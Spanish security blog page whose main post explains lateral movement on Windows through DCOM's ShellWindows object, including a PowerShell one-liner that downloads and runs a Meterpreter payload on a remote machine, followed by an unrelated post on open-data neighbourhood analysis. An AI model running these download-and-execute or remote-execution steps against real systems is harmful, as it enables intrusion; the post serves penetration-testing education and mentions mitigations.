martes, febrero 19, 2019

El movimiento lateral a través de DCOM [1]: Técnica Shell Windows

Hace bastante tiempo que quería hablar sobre este tema que me parece muy interesante en lo que a técnicas de movimiento lateral se refiere. Si sigues el trabajo de investigadores como Matt Nelson, el equipo de SpecterOps, Ryan Hanson o el blog de Cybereason entenderás que se destapó una nueva Caja de Pandora. ¿Por qué? Sencillo, se conocen diferentes técnicas de movimiento lateral, las cuales son cada vez más estudiadas y se intenta mitigar el impacto de éstas en un escenario de Ethical Hacking.

Figura 1: El movimiento lateral a través de DCOM [1]: Técnica Shell Windows


En el caso de la extensión DCOM se abrió, como he dicho antes, una auténtica Caja de Pandora por la gran cantidad de escenarios de ataque que se puede dar. Y todo ello está enfocado a evaluar la seguridad y realizar ataques contra sistemas Windows, algo de lo que hemos estudiado y escrito, como podéis leer en el libro de Hacking Windows: Ataques a Sistemas y Redes Microsoft.

Figura 2: Hacking Windows. Ataques a sistemas y redes Microsoft

Existen varias técnicas que se aprovechan de los DCOM, de las cuales Matt Nelson es el autor de la mayoría de ellas, para conseguir ejecutar el movimiento lateral y ejecutar el código que más nos interese en un momento determinado. Este tipo de técnicas tienen un gran interés, ya que son más desconocidas y el efecto es el mismo que el que puede lograr un Pass the hash, un Pass the ticket, el uso de WMI, WinRM o el uso de PSExec.

En el presente artículo se quiere mostrar el potencial de los DCOM para lograr hacer movimiento lateral y una herramienta llamada DCOMrade (que veremos en el post de mañana)  que ha salido para buscar esos DCOM y CLSID potencialmente vulnerables. Este tipo de herramienta puede tener un parecido con nuestro UAC-A-Mola, cada uno en su temática y evaluación de protección en Windows.

DCOM: Distributed Component Object Model

Lo primero es hablar de cómo funciona y qué es un DCOM. El objetivo está claro, poder utilizar este tipo de técnicas para lograr movernos lateralmente a otra máquina. Un DCOM es una extensión de COM, un Component Object Model, los cuales van a permitir instanciar y acceder a las propiedades y métodos de objetos COM sobre una máquina remota.

Por otro lado, debemos entender que es un CLSID, ya que se va a utilizar. Un CLSID es Class Identifier. Es un GUID, el cual va a ser único en el sistema e identificará a una clase COM. Cada clase que se registre en Windows ese asociará con un CLSID.

Otros conceptos que debemos entender son el ProgID y el AppID. El ProgID es Programmatic Identifier, el cual es utilizado como un User-Friendly al CLSID. Por ejemplo, para el CLSID XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXX se le puede llamar, de modo más amigable, System.AppDomainManager. El AppID es Application Identifier, el cual es utilizado para especificar la configuración de uno o N objetos COM asociados al mismo ejecutable.

Figura 3: Comando Get-CimInstance Win32_DCOMApplication

Esto incluye los permisos y grupos para instanciar y acceder a las clases asociadas. Con el comando de Powershell (más vale que domines el Pentesting con Powershell si quieres meterte en el mundo del hacking de WindowsGet-CimInstance Win32_DCOMApplication que se puede ver en la Figura 3 podemos listar el nombre y el AppID asociado.

Entendiendo la técnica ShellWindows

Como he comentado anteriormente, existen diferentes técnicas que pueden ser utilizadas para lograr el objetivo, dentro del mundo DCOM. En este caso vamos a tratar la denominada ShellWindows.

Matt Nelson descubrió que cuando listaba diferentes DCOM aplicaciones aparecía MMC Application Class o MMC20.Application. Este objeto COM permite interactuar con diferentes componentes y operaciones de los Snap-In de MMC, por ejemplo, certificados, visor de eventos, etcétera. El investigador se dio cuenta que existía un método llamado ExecuteShellCommand. Lo importante será descubrir objetos que no tienen el valor LaunchPermission. Por ejemplo, si utilizamos el registro en la ruta HKCR:\AppID encontraremos una gran cantidad de CLSID.

Figura 4: CLSID con instancia ShellWindows sin ProgID asociado

En la Figura 4 se puede ver un CLSID y la instancia ShellWindows. Este objeto no tiene ProgID asociado, por lo que se puede utilizar el método Type.GetTypeFromCLSID y luego utilizar el Activator.CreateInstance para instanciar el objeto a través de su CLSID en un equipo remoto.

Figura 5: Instanciación remota de objeto

Como se puede ver en la Figura 5, se utiliza GetTypeFromCLSID para, partiendo del CLSID, instanciar el objeto en el equipo remoto. Esto ocurre cuando se ejecuta el CreateInstance. Si observamos el objeto que se obtiene se puede descubrir que podemos ejecutar a través del método ShellExecute.

Figura 6: Ejecución vía objeto DCOM

En el siguiente ejemplo, se puede ver cómo se ejecuta una calculadora en la máquina remota, pero esto ya demuestra que se puede ejecutar acciones remotas, por lo que se podría ejecutar código que nos interese en la máquina remota.

Ejecutando un Meterpreter

Como ya hemos visto podemos ejecutar cualquier programa remotamente vía este método, por lo que podemos ejecutar un Meterpreter a través del uso de Powershell que es un truco Level 100 del Pentesting con Powershell y que puedes ver en uso dentro del PoC de cómo hicimos PSBot. La modificación es mínima frente a lo anterior. Dónde poníamos los parámetros del cmd.exe lo cambiaríamos por lo siguiente:
c:\windows\system32\windowspowershell\v1.0\powershell.exe –C iex(new-object net.webclient).downloadstring(‘http://…’)
El resultado se puede ver en el siguiente vídeo que hemos grabado para que sea más visual verlo funcionando.


Figura 7: Ejecutando Meterpreter vía ShellWindows en DCOM

Como se puede ver es una técnica sencilla e interesante. Hay que indicar que la técnica tiene una serie de restricciones si nos encontramos ante un Windows Fortificado. Si el firewall de Windows está activo puede bloquear este tipo de tráfico, por lo que su mitigación es sencilla. Otra opción para protegerse es deshabilitar DCOM. En la segunda parte de este artículo vamos a ver la herramienta DCOMrade para sacar más partido a estas técnicas.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

lunes, febrero 18, 2019

Open Data y el análisis de la transformación de los barrios de Madrid y New York

La semana pasada, nuestro compañero Luis Nadal de la unidad LUCA de Telefónica, hizo un seminario online en el que explicaba cómo se pueden utilizar los datos abiertos que ofrecen dos ciudades como Madrid o New York para hacer un análisis de la transformación que han sufrido sus barrios.

Figura 1: Open Data y el análisis de la transformación de los barrios de Madrid y New York

El análisis de gentrificación para conocer cómo han mejorado o no los barrios de las ciudades de Madrid y New York es un ejercicio de Analítica Descriptiva en el que utilizando un modelo de entrenamiento no supervisado de clusterización de barrios en función de diferentes variables, va a mostrar el estado comparable de cada barriada.

Figura 2: Análisis de barrios en Madrid

El ejercicio está explicado en una presentación de cuarenta minutos que he subido a mi canal de Youtube, y que también tenéis en el Canal de Youtube de LUCA - donde tenéis muchos más ejemplos - y tiene conclusiones muy interesantes.


Figura 3: LUCA Talk: Análisis de gentrificación en Madrid y New York con Open Data

La más curiosa es cómo algunas variables no son de relevancia cuando se aplican en Madrid, pero que sí son muy relevantes cuando se aplican en la ciudad de New York. Esto deja claro cómo la idiosincracia de ambas ciudades es totalmente diferente.

Figura 4: Resultado del clustering de barrios en New York

Las LUCA Talks son sesiones impartidas online a las que puedes asistir de forma gratuita y periódica. Si te ha parecido interesante este tema, puedes suscribirte al blog de Data Speaks donde se anuncian todas las que se van a hacer y revisar todas las ya publicadas en la web de las LUCA Talks.

Saludos Malignos!

Entrada destacada

Seis recomendaciones personales de libros de @0xWord para disfrutar y aprender

Este verano pude disfrutar de la lectura de un libro que me encantó. El libro de Factfulness que me había regalado mi compañera Beatriz Ce...

Entradas populares